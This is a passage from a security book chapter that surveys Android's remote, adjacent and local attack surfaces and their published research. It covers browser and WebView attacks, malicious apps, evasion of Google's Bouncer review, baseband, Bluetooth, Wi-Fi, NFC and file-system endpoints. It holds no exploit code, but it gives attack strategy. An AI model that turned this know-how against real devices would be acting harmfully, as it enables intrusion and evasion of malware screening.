mail vectors, for example, can be sent specifically to a target or group of targets.
Through source address examination or fingerprinting, on-path attackers can
limit to whom they deliver their attack. This is a powerful property of attacking
the client-side attack surface.
Android devices are primarily designed to consume and present data. Therefore,
they expose very little direct remote attack surface. Instead, the vast majority
of the attack surface is exposed through client applications. In fact, many client
applications on Android initiate actions on the user’s behalf automatically. For
instance, e-mail and social networking clients routinely poll servers to see if
anything new is available. When new items are found, they are processed in
order to notify the user that they are ready for viewing. This is yet another way
that the client-side attack surface is exposed without the need for actual user
interaction. The remainder of this section discusses the various attack surfaces
exposed by client applications on Android in more detail.
Browser Attack Surface
The modern web browser represents the most rich client-side application in
existence. It supports a plethora of web technologies as well as acts as a gateway
to other technologies that an Android device supports. Supported World Wide
Web technologies range from simple HTML to wildly complex and rich applications built upon myriad APIs exposed via JavaScript. In addition to rendering
and executing application logic, browsers often support a range of underlying
protocols such as HTTP and FTP. All of these features are implemented by an
absolutely tremendous amount of code behind the scenes. Each of these components, which are often embodied by third-party projects, represents an attack
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surface in its own right. The rest of this section introduces the attack vectors
and types of vulnerabilities to which browsers are susceptible and discusses
the attack surface within the browser engines commonly available on Android
devices.
Successful attacks against web browsers can be accomplished several ways.
The most common method involves persuading a user to visit a URL that is
under the attacker’s control. This method is likely the most popular due to
its versatility. An attacker can easily deliver a URL via e-mail, social media,
instant messaging, or other means. Another way is by inserting attack code
into compromised sites that intended victims will visit. This type of attack is
called a “watering hole” or “drive-by” attack. Attackers in a privileged position,
such as those that are on-path or logically adjacent, can inject attack content at
will. These types of attacks are often called Man-in-the-Middle (MitM) attacks.
No matter which vector is used to target the browser, the underlying types of
vulnerabilities are perhaps more important.
Securely processing content from multiple untrusted sources within a single
application is challenging. Browsers attempt to segregate content on one site
from accessing the content of another site by way of domains. This control
mechanism has given rise to several entirely new types of vulnerabilities, such
as cross-site scripting (XSS) and cross-site request forgery (CSRF or XSRF). Also,
browsers process and render content from multiple different trust levels. This
situation has given birth to cross-zone attacks as well. For example, a website
should not be able to read arbitrary files from a victim’s computer system and
return them to an attacker. However, zone elevation attacks discovered in the
past have allowed just that. By no means is this a complete list of the types of
vulnerabilities that affect browsers. An exhaustive discussion of such issues
is far beyond the scope of this section. Several books, including “The Tangled
Web” and “The Browser Hacker’s Handbook,” focus entirely on web browser
attacks and are recommended reading for a more in-depth exploration.
Up until Android 4.1, devices shipped with only one browser: the Android
Browser (based on WebKit). With the release of the 2012 Nexus 7 and the Nexus
4, Google started shipping Chrome for Android (based on Chromium) as the
default browser. For a while, the Android browser was still available, too. In
current versions of vanilla Android, Chrome is the only browser presented to
the user. However, the traditional Android browser engine is still present and is
used by apps discussed further in the “Web-Powered Apps” section later in this
chapter. In Android 4.4, Google switched from using a pure-WebKit-supplied
engine (libwebcore.so) to using an engine based on Chromium (libwebviewchromium.so).
The primary difference between Chrome for Android and the two other
engines is that the Chrome for Android receives updates via Google Play. The
WebKit- and Chromium-based engines, which are exposed to apps via the
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Android Framework, are baked into the firmware and cannot be updated without a firmware upgrade. This drawback leaves these two engines exposed to
publicly disclosed vulnerabilities, sometimes for a lengthy period of time. This
is the “half-day vulnerability” risk first mentioned in Chapter 1.
Enumerating attack surfaces within a particular browser engine can be achieved
in several ways. Each engine supports a slightly different set of features and thus
exposes a slightly different attack surface. Because nearly all input is untrusted,
almost every browser feature constitutes an attack surface. An excellent starting
point is investigating the functionality specified by standards documents. For
example, the HTML and SVG specifications discuss a variety of features that
deserve a closer look. Sites that track which features are implemented in each
browser engine are priceless in this process. Also, the default browser engines
on Android systems are open source. Diving down the browser attack surface
rabbit hole by digging into the code is also possible.
Deeper attack surfaces lie beneath the various features supported by browsers.
Unfortunately, enumerating these second-tier attack surfaces is largely a manual
process. To simplify matters, researchers tend to further classify attack surfaces
based on certain traits. For example, some attack surfaces can be exercised
when JavaScript is disabled whereas others cannot. Some functionality, such
as Cascading Style Sheets (CSS), interact in complex ways with other technologies. Another great example is Document Object Model (DOM) manipulation
through JavaScript. Attacker supplied scripts can dynamically modify the
structure of the web page during or after load time. All in all, the complexity
that browsers bring leaves a lot of room for imagination when exploring the
attack surfaces within.
The remainder of this book looks closer at fuzzing (Chapter 6), debugging
(Chapter 7), and exploiting (Chapter 8 and Chapter 9) browsers on Android.
Web-Powered Mobile Apps
The vast majority of applications written for mobile devices are merely clients
for web-based back-end technologies. In the old days, developers created their
own protocols on top of TCP or UDP to communicate between their clients and
servers. These days, with the proliferation of standardized protocols, libraries,
and middleware, virtually everything uses web-based technologies like web
services, XML RPC, and so on. Why write your own protocol when your mobile
application can make use of the existing web services API that your web front
end uses? Therefore, most of the mobile applications for popular web-based
services (Zipcar, Yelp, Twitter, Dropbox, Hulu, Groupon, Kickstarter, and so
on) use this type of design.
Mobile developers often trust that the other side of the system is well behaved.
That is, clients expect servers to behave and servers expect clients are not malicious.
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Unfortunately, neither is necessarily the case. There are ways to increase the
true level of trust between the client and the server, particularly to combat onpath or logically adjacent attackers. However, the server can never assume that
the client is entirely trusted. Further, the client should never assume that the
server it is talking to is a legitimate one. Instead, it should go to great lengths
to authenticate that the server is indeed the correct one.
Most of this authentication takes place through the use of SSL or TLS.
Techniques like certificate pinning can even protect against rogue Certificate
Authorities (CAs). Because it is entirely up to the mobile application developers to properly utilize these technologies, many applications are insufficiently
protected. For example, a group of researchers from two German universities
released a paper in 2008 entitled “Why Eve and Mallory Love Android: An
Analysis of Android SSL (In)Security.” The paper documented the researchers’
findings on the state of SSL verification in Android apps. Their research found
that up to eight percent of all applications on the Google Play market that made
use of SSL libraries did so in such a way that easily allowed MitM attacks due
to inadequately validated SSL/TLS certificates.
Of course, the attack surface exposed by a web-powered mobile app varies from
one application to the next. One particularly dangerous example is a common
Twitter client. Twitter is a web-based social media platform, but many clients
exist in the form of Android apps. These apps often use WebViews (a building
block exposed by the Android Framework) to render the rich content that can
be included in a tweet. For example, most Twitter clients render images inline
automatically. This represents a significant attack surface. A vulnerability in
the underlying image-parsing library could potentially compromise a device.
Further, users on Twitter often share links to other interesting web content.
Curious users who follow the links could be susceptible to traditional browser
attacks. Additionally, many Twitter clients subscribe to push messages (where
the server provides new data as it appears) or regularly poll (ask) the server for
new data. This design paradigm turns a client-side application into something
that could be remotely attacked without any user interaction.
Ad Networks
Advertising networks are a prominent part of the Android app ecosystem
because they are often used by developers of ad-supported free mobile apps.
In these apps, a developer includes additional code libraries and invokes them
to display ads as they deem necessary. Behind the scenes, the app developer
has an advertiser account and is credited based on various criteria, such as the
number of ads displayed. This can be quite lucrative for apps that are extremely
popular (for example, Angry Birds) so it is no surprise that app developers take
this route.
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Advertising networks represent an interesting and potentially dangerous piece
of the puzzle for several reasons. The functionality that renders advertisements is
usually based on an embedded browser engine (a WebView). As such, traditional
browser attacks apply against these apps but typically only via the MitM vectors. Unlike traditional browsers, these WebViews often expose additional attack
surfaces that allow remote compromise using Java-style reflection attacks. Ad
network frameworks are especially terrifying because legitimate advertisers
could also potentially take control of devices using these weaknesses. Although
these types of attacks are not covered further in this book, we recommend that
you read up on them by doing an Internet search for the terms “WebView,”
“addJavascriptInterface,” and “Android Ad Networks.”
In addition to the risk of remote code execution, advertising frameworks also
present a significant risk to privacy. Many frameworks have been found to be
collecting a plethora of personal information and reporting it back to the advertiser. This type of software is commonly referred to as adware and can become
a terrible nuisance to the end user. For example, an advertising framework that
collects the e-mail addresses of a user’s contacts could sell those to spammers who
would then bombard those addresses with unsolicited junk e-mails. Although
this is not as serious as fully compromising an Android device, it should not be
taken lightly. Sometimes compromising a user’s location or contacts is all that
is necessary to achieve an attacker’s goals.
Media and Document Processing
Android includes many extremely popular and well vetted open source libraries, many of which are used to process rich media content. Libraries like libpng
and libjpeg are prolific and used by almost everything that renders PNG and
JPEG images, respectively. Android is no exception. These libraries represent
a significant attack surface due to the amount of untrusted data processed by
them. As discussed previously, in the “Web-Powered Mobile Apps” section,
Twitter clients often render images automatically. In this situation, an attack
against one of these components might lead to a remote compromise without
user interaction. These libraries are well vetted, but that does not mean no issues
remain. The past two years have seen the discovery of important issues in both
of the aforementioned libraries.
Additionally, some OEM Android devices ship with document viewing and
editing tools. For example, the Polaris Office application shipped on the Samsung
Galaxy S3 was leveraged to achieve remote code execution in the 2012 Mobile
Pwn2Own competition. The attack vector used in the competition was Near
Field Communication (NFC), which is discussed in the “NFC” section later in
this chapter.
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Electronic Mail
An electronic mail client is yet another client-side application that has an exposed
attack surface. Like the other aforementioned client-side applications, electronic
mail can be used as a vector to deliver browser attacks. In fact, Android e-mail
clients are often based on a browser engine with a somewhat limited configuration. More specifically, e-mail clients do not support JavaScript or other scripted
content. That said, modern e-mail clients render a subset of rich media, such
as markup and images, inline. Also, e-mail messages can contain attachments,
which have historically been a source of trouble on other platforms. Such attachments could, for example, be used to exploit applications like Polaris Office. The
code that implements these features is an interesting area for further research
and seems to be relatively unexplored.
Google Infrastructure
Android devices, though powerful, rely on cloud-based services for much of
their functionality. A large portion of the infrastructure behind these services
is hosted by Google itself. The functionality provided by these services ranges
from contact and e-mail data used by the phone dialer and Gmail to sophisticated remote management features. As such, these cloud services present an
interesting attack surface, albeit not one that is usually reachable by a typical
attacker. Many of these services are authenticated by Google’s Single Sign On
(SSO) system. Such a system lends itself to abuse because credentials stolen
from one application could be used to access another application. This section
discusses several relevant back-end infrastructure components and how they
can be used to remotely compromise an Android device.
Google Play
Google’s primary outlet for content, including Android applications, is Google
Play. It allows users to purchase music, movies, TV shows, books, magazines,
apps, and even Android-based devices themselves. Most content is downloadable and is made available immediately on a chosen device. In early 2011, Google
opened a website to access Google Play. In late 2013, Google added a remote
device management component called Android Device Manager. The privileged
and trusted role that Google Play serves makes it an interesting infrastructure
component to consider when thinking about attacking Android devices. In fact,
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Google Play has been used in several attacks, which are covered more in the
following sections.
Malicious Apps
Because much of the content within Google Play comes from untrusted sources, it
represents another significant remote attack surface. Perhaps the best example is
an Android app. As is evident by now, Android apps contain code that executes
directly on an Android device. Therefore, installing an application is equivalent
to granting arbitrary code execution (albeit within Android’s user-level sandbox)
to the app’s developer. Unfortunately, the sheer number of apps available for any
given task overwhelms users and makes it very difficult for them to determine
whether they should trust a particular developer. If a user incorrectly assesses
trust, installing a malicious app could fully compromise her device. Beyond
making incorrect trust decisions, attackers could also compromise a developer’s
Google Play account and replace his application with malicious code. The malicious application would then be automatically installed on any device where the
current, safe version of the app is already installed. This represents a powerful
attack that could be devastating to the Android ecosystem if carried out.
Other content made available through Google Play might also be able to
compromise a device, but it’s not entirely clear where this content originates.
Without knowing that, it’s impossible to determine if there is an attack surface
worth investigating.
Apart from the Google Play web application itself, which is outside the scope
of this chapter, the Google Play application on an Android device exposes an
attack surface. This app must process and render untrusted data that is supplied by developers. For example, the description of the application is one such
source of untrusted data. The underlying code beneath this attack surface is
one interesting place to look for bugs.
Third-Party App Ecosystems
Google allows Android users to install applications outside of Google Play. In
this way, Android is open to allowing independent third parties to distribute
their applications from their company (or personal) websites. However, users
must explicitly authorize application installs from third parties by using the
workflow shown in Figure 5-3.
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Figure 5-3: Authorize unknown apps workflow
The ability to install third-party applications on Android devices has naturally led to the creation of third-party application ecosystems, which come with
their own set of dangers. Perhaps the biggest threat posed by third-party app
markets is one that carries over from pirated or cracked software on PCs and
Macs: Trojans. Malicious actors will decompile code for a popular trusted app
and modify it to do something malicious before posting it to the third-party
app market. A 2012 study by Arxan Technologies entitled “State of Security in
the App Economy: ‘Mobile Apps Under Attack’” found that 100 percent (or all)
of the applications listed on Google Play’s Top 100 Android Paid App list were
hacked, modified, and available for download on third-party distribution sites.
The report also provides some insights into the popularity (or pervasiveness) of
these sites, mentioning downloads of more than 500,000 for some of the more
popular paid Android apps.
In Android 4.2, Google introduced a feature called Verify Apps. This feature
works through the use of fingerprinting and heuristics. It extracts heuristic data
from applications and uses it to query a Google-run database that determines
if the application is known malware or has potentially malicious attributes. In
this way, Verify Apps simulates a simple signature-based blacklisting system
similar to that of antivirus systems. Verify Apps can issue warnings to the user
or block installation entirely based on the classification of attributes from the
application. Figure 5-4 shows this feature in action.
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Figure 5-4: Verify Apps blocking and warning
In early 2013, the Android.Troj.mdk Trojan was found embedded in up to
7,000 cracked Android applications available on third-party application sites.
This included some popular games such as Temple Run and Fishing Joy. This
Trojan infected up to 1 million Chinese Android devices, making them part of
one of the biggest botnets known publicly at the time. This dwarfed the previously discovered Rootstrap Android botnet that infected more than 100,000
Android devices in China. Obviously third-party app markets pose a clear
and present danger to Android devices and should be avoided if possible. In
fact, whenever possible, make sure that the Allow Installations from Unknown
Sources setting is disabled.
Bouncer
In an attempt to deal with malicious applications in Google Play, the Android
Security Team runs a system called Bouncer. This system runs the applications
that developers upload inside a virtual environment to determine whether
the app exhibits malicious behavior. For all intents and purposes, Bouncer is
a dynamic runtime analysis tool. Bouncer is essentially an emulator based on
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Quick Emulator (QEMU), much like the one included in the Android SDK, to run
Android and execute the app in question. To properly simulate the environment
of a real mobile device, Bouncer emulates the common runtime environment
for an application, which means the app can access
■
Address books
■
Photo albums
■
SMS messages
■
Files
All of these are populated with dummy data unique to Bouncer’s emulated
virtual machine disk image. Bouncer also emulates common peripherals found
on mobile devices, such as a camera, accelerometer, GPS, and others. Furthermore,
it allows the application to freely contact the Internet. Charlie Miller and Jon
Oberheide used a “reverse shell” application that gave them terminal-level access
to Google’s Bouncer infrastructure via HTTP requests. Miller and Oberheide
also demonstrated a number of ways that Bouncer can be fingerprinted by a
malicious application. These techniques ranged from identifying the unique
dummy data found in Bouncer’s SMS messages, address books, and photo
albums to detecting and uniquely fingerprinting the QEMU instance unique
to the Bouncer virtual machines. These identification techniques could then
be used by a malicious attacker to avoid executing the malicious functionality
of their application while Bouncer was watching. Later, the same application
executing on a user’s phone could commence its malicious activities.
Nicholas Percoco published similar research in his Blackhat 2012 white paper
“Adventures in Bouncerland,” but instead of detecting Bouncer’s presence, his
techniques involved developing an application with functionality that justified permissions for the download and execution of malicious JavaScript. The
application was a web-backed, user-configurable SMS blocking application.
With permissions to access the web and download JavaScript, the backend web
server ostensibly became a command and control server that fed the application
malicious code at runtime. Percoco’s research also demonstrated that relatively
minor updates made to a new release of an app can go relatively unnoticed as
having malicious content.
Even excluding these very interesting techniques for evading Bouncer, malicious applications still manage to surface on Google Play. There is a burgeoning
malware and spyware world for default-configured Android devices. Because
devices can be configured to allow installing apps from third parties, the majority of malicious applications are found there.
Google Phones Home
Behind the scenes, Android devices connect to Google’s infrastructure through
a service called GTalkService. It is implemented using Google’s ProtoBufs
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transport and connects a device to many of Google’s back-end services. For
example, Google Play and Gmail use this service to access data in the cloud.
Google made Cloud to Device Messaging (C2DM), which uses GTalkService,
available in Android 2.2. In June 2012, Google deprecated C2DM in favor of
Google Cloud Messaging (GCM). GCM continues to use GTalkService for cloud
communications. A more specific example involves installing applications from
the Google Play website as shown in Figure 5-5.
Figure 5-5: Installing an application from the web
Apart from user-initiated installation, one of those most interesting properties of GTalkService is that it allows Google to install and remove applications
at its own will. In fact, it is possible to do so silently without notifying the end
user. In the past, Google used this mechanism as an emergency mechanism to
remove confirmed malicious applications from the entire device pool at once.
Also, it has been used to push applications onto the device as well. In 2013,
Google launched an initiative to provide APIs to older devices called Google
Play Services. In doing so, Google installed a new application on all Android
devices to provide this functionality.
Although GTalkService represents an interesting attack surface, vectors into
it require trusted access. This functionality’s connection to the cloud is secured
using certificate-pinned SSL. This limits attacks to those that come from within
Google’s own back end. That said, leveraging Google’s back end to conduct
attacks is not entirely impossible.
Unfortunately, diving deeper into the attack surface exposed by GTalkService
requires significant reverse-engineering effort. The components that implement
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this part of Android devices are closed source and aren’t part of Android
Open Source Project (AOSP). Inspecting them requires the use of disassemblers, decompilers, and other specialized tools. A good starting point is to
reverseengineer the Google Play application or the GTalkService itself.
Jon Oberheide demonstrated two separate attacks that utilized GTalkService
to compromise devices. The first, at SummerCon 2010, showed that it was possible to access the authentication token used to maintain the persistent back-end
connection via the com.accounts.AccountManager API. Malicious applications
could use this to initiate application installs without prompting or reviewing
application permissions. More information on this attack is available at https://
jon.oberheide.org/blog/2011/05/28/when-angry-birds-attack-androidedition/. The second attack, discussed in detail at https://jon.oberheide
.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/, showed that an
XSS vulnerability in the Google Play website allowed attackers to do the same.
This time, however, it was not necessary to install a malicious application. In both
cases, Oberheide developed proof-of-concept codes to demonstrate the attacks.
Oberheide’s findings are high-impact and fairly straightforward. Exploring this
attack surface further is an interesting area for future work.
Physical Adjacency
Recall the working definition of physical adjacency from the “Adjacency” section
earlier in this chapter. Unlike physical attacks, which require directly touching
the target device, physically adjacent attacks require that an attacker is within a
certain range of her intended victim. Much of this attack surface involves various
types of radio frequency (RF) communications. However, some attack surfaces
are not related to RF. This section covers wireless supported communications
channels in depth and discusses other attack surfaces that are reachable within
certain proximities.
Wireless Communications
Any given Android device supports a multitude of different radio-based wireless
technologies. Almost all devices support Wi-Fi and Bluetooth. Many of those
also support Global Positioning System (GPS). Devices able to make cellular
telephone calls support one or more of the standard cell technologies, such as
Global System for Mobile communications (GSM) and Code Division Multiple
Access (CDMA). Newer Android devices also support Near Field Communication
(NFC). Each of the supported wireless technologies has specific frequencies
associated with them and thus is only reachable within certain physical proximities. The following sections will dive deeper into each technology and explain
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the associated access requirements. Before diving into those details, let’s look
at concepts that apply to all of these mediums.
All wireless communications are susceptible to a wide range of attacks, both
active and passive. Active attacks require an attacker to interfere with the normal
flow of information and include jamming, spoofing, and man-in-the-middle
(MitM). Because Wi-Fi and cellular networking are used to access the Internet at
large, MitM attacks against these mediums provide access to an extremely rich
attack surface. Passive attacks, like sniffing, enable attackers to compromise the
information flowing through these mediums. Stolen information is powerful.
For example, compromising keystrokes, authentication credentials, financial
data, or otherwise can lead to further and more impactful attacks.
GPS
GPS, which is often referred to as location data in Android, allows a device to
determine where it is on the planet. It works based on signals from satellites that
orbit the planet. The GPS receiver chip receives these signals, amplifies them,
and determines its location based on the result. Most people know GPS because
it is often used to enable turn-by-turn navigation. In fact, devices designed
specifically for navigation are often called GPS devices. In modern times, GPS
has become an important tool in travelers’ toolboxes.
However, having GPS so widely available is not without controversy. Though
GPS is a one-way communications mechanism, location data is exposed to
Android applications through the Android Framework (android.location API)
and Google Play Services (Location Services API). Regardless of which API is
used, many Android applications do not respect end-user privacy and instead
monitor the user’s location. Some of the authors of such apps are believed to sell
access to the data to unknown third parties. This practice is truly concerning.
Under the hood, the hardware and software that implements GPS varies from
one device to the next. Some devices have a dedicated chip that provides GPS
support while others have GPS support integrated into the System-on-Chip
(SoC). The software that supports the hardware varies accordingly and is usually closed source and proprietary. This fact makes enumerating and digging
deeper into the exposed attack surface difficult, time consuming, and device
specific. Like any other communications mechanism, software that deals with
the radio itself represents a direct attack surface. Following the data as it flows
up the software stack, additional attack surfaces exist.
Because GPS signals emanate from outer space, an attacker could theoretically
be very far away from his target device. However, there are no known attacks
that compromise an Android device via the GPS radio. Because Android devices
don’t use GPS for security, such as authentication, the possibilities are limited.
The only known attacks that involve location data are spoofing attacks. These
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attacks could mislead a user using turn-by-turn navigation or allow cheating
at games that use the location data as part of their logic.
Baseband
The single part of a smartphone that sets it apart from other devices the most
is the ability to communicate with mobile networks. At the lowest level, this
functionality is provided by a cellular modem. This component, often called
the baseband processor, might be a separate chip or might be part of the SoC. The
software that runs on this chip is referred to as the baseband firmware. It is one of
the software components that comprise the Android telephony stack. Attacks
against the baseband are attractive because of two things: limited visibility to
the end user and access to incoming and outgoing cellular voice and data. As
such it represents an attractive attack surface in a smartphone.
Although an attack against the baseband is a remote attack, an attacker must
be within a certain proximity to a victim. In typical deployments, the cell modem
can be several miles away from the cell tower. Mobile devices will automatically
connect to and negotiate with the tower with the strongest signal available.
Because of this fact, an attacker only needs to be close enough to the victim to
appear to be the strongest signal. After the victim associates with the attacker’s
tower, the attacker can MitM the victim’s traffic or send attack traffic as they
desire. This type of attack is called a Rogue Base Station attack and has garnered
quite a bit of interest in recent years.
Android smartphones support several different mobile communications
technologies like GSM, CDMA, and Long Term Evolution (LTE). Each of these
are made up of a collection of protocols used to communicate between various components within a cellular network. To compromise a device, the most
interesting protocols are those that are spoken by the device itself. Each protocol
represents an attack vector and the underlying code that processes it represents
an attack surface.
Digging deeper into the attack surface exposed by the baseband not only
requires intense application of tools like IDA Pro, but also requires access to
specialized equipment. Because baseband firmware is typically closed source,
proprietary, and specific to the baseband processor in use, reverse-engineering
and auditing this code is challenging. Communicating with the baseband is only
possible using sophisticated radio hardware like the Universal Software Radio
Peripheral (USRP) from Ettus Research or BladeRF from Nuand. However, the
availability of small, portable base stations like Femtocells and Picopops could
make this task easier. When the hardware requirement has been fulfilled, it’s
still necessary to implement the necessary protocols to exercise the attack surface. The Open Source Mobile Communications (Osmocom) project, as well as
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several other projects, provides open source implementations for some of the
protocols involved.
In Android, the Radio Interface Layer (RIL) communicates with the baseband
and exposes cellular functionality to rest of the device. More information about
RIL is covered in Chapter 11.
Bluetooth
The Bluetooth wireless technology widely available on Android devices supports
quite a bit of functionality and exposes a rich attack surface. It was originally
designed as a wireless alternative to serial communications with relatively low
range and power consumption. Although most Bluetooth communications are
limited to around 32 feet, the use of antennae and more powerful transmitters
can expand the range up to 328 feet. This makes attacks against Bluetooth the
third-longest-range wireless medium for attacking Android devices.
Most mobile device users are familiar with Bluetooth due to the popularity of
Bluetooth headsets. Many users do not realize that Bluetooth actually includes
more than 30 profiles, each of which describes a particular capability of a Bluetooth
device. For example, most Bluetooth headsets use the Hands-Free Profile (HFP)
and/or Headset Profile (HSP). These profiles give the connected device control
over the device’s speaker, microphone and more. Other commonly used profiles
include File Transfer Profile (FTP), Dial-up Networking Profile (DUN), Human
Interface Device (HID) Profile, and Audio/Video Remote Control Profile (AVRCP).
Though a full examination of all profiles is outside the scope of this book, we
recommend you do more research for a full understanding of the extent of the
attack surface exposed by Bluetooth.
Much of the functionality of the various Bluetooth profiles requires going
through the pairing process. Usually the process involves entering a numeric
code on both devices to confirm that they are indeed talking to each other. Some
devices have hard-coded codes and therefore are easier to attack. After a pairing
is created, it’s possible to hijack the session and abuse it. Possible attacks include
Bluejacking, Bluesnarfing, and Bluebugging. In addition to being able to pair with
hands-free devices, Android devices can be paired with one another to enable
transferring contacts, files, and more. The designed functionality provided by
Bluetooth is extensive and provides access to nearly everything that an attacker
might want. Many feasible attacks exploit weaknesses in pairing and encryption that is part of the Bluetooth specification. As such, Bluetooth represents a
rather rich and complicated attack surface to explore further.
On Android devices, the attack surface exposed by Bluetooth starts in the
kernel. There, drivers interface with the hardware and implement several of the
low-level protocols involved in the various Bluetooth profiles like Logical Link
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Control and Adaptation Protocol (L2CAP) and Radio Frequency Communications
(RFCOMM). The kernel drivers expose additional functionality to the Android
operating system through various Inter Process Communication (IPC) mechanisms. Android used the Bluez user-space Bluetooth stack until Android 4.2
when Google switched to Bluedroid. Next, code within the Android Framework
implements the high-level API exposed to Android apps. Each component represents a part of the overall attack surface. More information about the Bluetooth
subsystem in Android is available at https://source.android.com/devices/
bluetooth.html.
Wi-Fi
Nearly all Android devices support Wi-Fi in its most basic form. As newer devices
have been created, they have kept up with the Wi-Fi standards fairly well. At
the time of this writing, the most widely supported standards are 802.11g and
802.11n. Only a few devices support 802.11ac. Wi-Fi is primarily used to connect
to LANs, which in turn provide Internet access. It can also be used to connect
directly to other computer systems using Ad-Hoc or Wi-Fi Direct features. The
maximum range of a typical Wi-Fi network is about 120 feet, but can easily be
extended through the use of repeaters or directional antennae.
It’s important to note that a full examination of Wi-Fi is beyond the scope of
this book. Other published books, including “Hacking Exposed Wireless,” cover
Wi-Fi in more detail and are recommended if you are interested. This section
attempts to briefly introduce security concepts in Wi-Fi and explain how they
contribute to the attack surface of an Android device.
Wi-Fi networks can be configured without authentication or using several different authentication mechanisms of varying strength. Open networks, or those
without authentication, can be monitored wirelessly using completely passive
means (without connecting). Authenticated networks use various encryption
algorithms to secure the wireless communications and thus monitoring without
connecting (or at least having the key) becomes more difficult. The three most
popular authentication mechanisms are Wired Equivalent Privacy (WEP), Wi-Fi
Protected Access (WPA), and WPA2. WEP is broken relatively easily and should
be considered roughly equivalent to no protection at all. WPA was created to
address these weaknesses and WPA2 was created to further harden Wi-Fi
authentication and encryption.
The Wi-Fi stack on Android is much like the Bluetooth stack. In fact, some
devices include a single chip that implements both technologies. Like Bluetooth,
the source code for the Wi-Fi stack is open source. It begins with kernel drivers
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that manage the hardware (the radio) and handle much of the low-level protocols. In user-space, wpa_supplicant implements authentication protocols and
the Android operating system manages memorized connections. Like Bluetooth,
these components are exposed to untrusted data and thus represent an exposed
attack surface that’s interesting to explore further.
In addition to connecting to Wi-Fi access points (APs), most Android devices
are capable of assuming the AP role, too. In doing so, the device increases its
attack surface significantly. Additional user-space code, more specifically hostapd
and a DNS server, is spun up and exposed to the network. This increases the
remote attack surface, especially if an attacker is able to connect to the AP hosted
by the Android device.
Other than generic Wi-Fi attacks, no successful attacks against the Wi-Fi stack
of an Android device are known. Viable generic attacks include rogue hotspots
and MitM attacks.
NFC
NFC is a wireless communications technology that builds upon Radio Frequency
Identification (RFID). Of the wireless technologies supported by Android devices,
NFC has the shortest range, which is typically limited to less than 8 inches.
There are three typical use cases for NFC on Android devices. First, tags that
are usually in the form of stickers are presented to the device, which then reads
the tag’s data and processes it. In some cases, such stickers are prominently
displayed in public places as part of interactive advertising posters. Second,
two users touch their Android devices together to beam data, such as a photo.
Finally, NFC is routinely used for contactless payments.
The Android implementation of NFC is fairly straightforward. Figure 5-6
depicts an overview of Android’s NFC stack. Kernel drivers speak to the NFC
hardware. Rather than doing deep processing on received NFC data, the driver
passes the data to the NFC Service (com.android.nfc) within the Android
Framework. In turn, the NFC Service delivers the NFC tag data to Android
apps that have registered to be the recipient of NFC messages.
NFC data comes in several forms, many of which are supported by Android
by default. All of these supported implementations are very well documented
in the Android SDK under the TagTechnology class. More information about
NFC on Android is available at http://developer.android.com/guide/
topics/connectivity/nfc/index.html.
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NFC Tag
NFC Tag Data:
(Nodef, MiFare, etc.)
NFC Transmitter/Receiver
Android Kernel
libpn544_fs.so
NFC Service (com.android.nfc)
libnfc_jni.so
Android App
libnfc.so
Android App
libnfc_ndef.so
Android App
Figure 5-6: NFC on Android
The most popular message format is NFC Data Exchange Format (NDEF).
NDEF messages can contain any data, but are typically used to transmit text,
phone numbers, contact information, URLs, and images. Parsing these types of
messages often results in performing actions such as pairing Bluetooth devices,
launching the web browser, dialer, YouTube, or Maps applications, and more.
In some cases these operations are performed without any user interaction,
which is especially attractive to an attacker. When beaming files, some devices
launch the default viewer for the received file based on its file type. Each of
these operations is an excellent example of an additional attack surface that
lies beneath NFC.
Several successful attacks leveraged NFC to compromise Android devices.
As demonstrated by Charlie Miller, NFC can be used to automatically set up
connections using other wireless technologies such as Bluetooth and Wi-Fi
Direct. Because of this, it could be used to enable access to an attack surface that
would otherwise not be available. Georg Wicherski and Joshua J. Drake demonstrated a successful browser attack that was launched via NFC at BlackHat
USA in 2012. Also, as mentioned earlier, researchers from MWR Labs utilized
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NFC to exploit a file format parsing vulnerability in the Polaris Office document
suite at the 2012 Mobile Pwn2Own. These attacks demonstrate that the attack
surface exposed by NFC support on Android can definitely lead to successful
device compromises.
Other Technologies
Apart from wireless communications, a couple of other technologies contribute to
the overall attack surface of Android devices. More specifically, Quick Response
(QR) codes and voice commands could theoretically lead to a compromise. This
is especially true in the case of Google Glass—which is based on Android—and
newer Android devices like the Moto X and Nexus 5. Early versions of Google
Glass would process QR codes whenever a picture was taken. Lookout Mobile
Security discovered that a surreptitiously placed QR code could cause Google
Glass to join a malicious Wi-Fi network. From there, the device could be attacked
further. Additionally, Google Glass makes extensive use of voice commands.
An attacker sitting next to a Google Glass user can speak commands to the
device to potentially cause it to visit a malicious website that compromises the
device. Though it is difficult to target the underlying implementation of these
technologies, the functionality provided leaves room for abuse and thus a
potential compromise of the device.
Local Attack Surfaces
When an attacker has achieved arbitrary code execution on a device, the next
logical step is to escalate privileges. The ultimate goal is to achieve privileged
code execution in kernel space or under the root or system user. However, gaining even a small amount of privileges, such as a supplementary group, often
exposes more restricted attack surfaces. In general, these attack surfaces are the
most obvious to examine when attempting to devise new rooting methods. As
mentioned in Chapter 2, the extensive use of privilege separation means that
several minor escalations might need to be combined in order to achieve the
ultimate goal.
This section takes a closer look at the various attack surfaces exposed to code
that’s already executing on a device, whether it be an Android app, a shell via
ADB, or otherwise. The privileges required to access these attack surfaces varies depending on how the various endpoints are secured. In an effort to ease
the pain associated with the extensive privilege separation used on Android,
this section introduces tools that can be used to examine OS privileges and
enumerate exposed endpoints.
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Exploring the File System
Android’s Unix lineage means that many different attack surfaces are exposed
via entries in the file system. These entries include both kernel-space and userspace endpoints. On the kernel side, device driver nodes and special virtual file
systems provide access to interact directly with kernel-space driver code. Many
user-space components, like privileged services, expose IPC functionality via
sockets in the PF_UNIX family. Further, normal file and directory entries with
insufficiently restricted permissions give way to several attack classes. By simply inspecting the entries within the file system you can find these endpoints,
exercise the attack surface below them, and potentially escalate your privileges.
Each file system entry has several different properties. First and foremost,
each entry has a user and group that is said to own it. Next most important is
the entry’s permissions. These permissions specify whether the entry can be
read, written, or executed only by the owning user or group or by any user on
the system. Also, several special permissions control type-dependent behaviors. For example, an executable that is set-user-id or set-group-id executes with
elevated privileges. Finally, each entry has a type that tells the system how to
handle manipulations to the endpoint. Types include regular files, directories,
character devices, block devices, First-In-First-Out nodes (FIFOs), symbolic links,
and sockets. It’s important to consider all of these properties when determining
exactly which attack surfaces are reachable given a particular level of access.
You can enumerate file system entries easily using the opendir and stat system calls. However, some directories do not allow lesser privileged users to list
their contents (those lacking the read bit). As such, you should enumerate the file
system with root privileges. To make it easier to determine file system entries
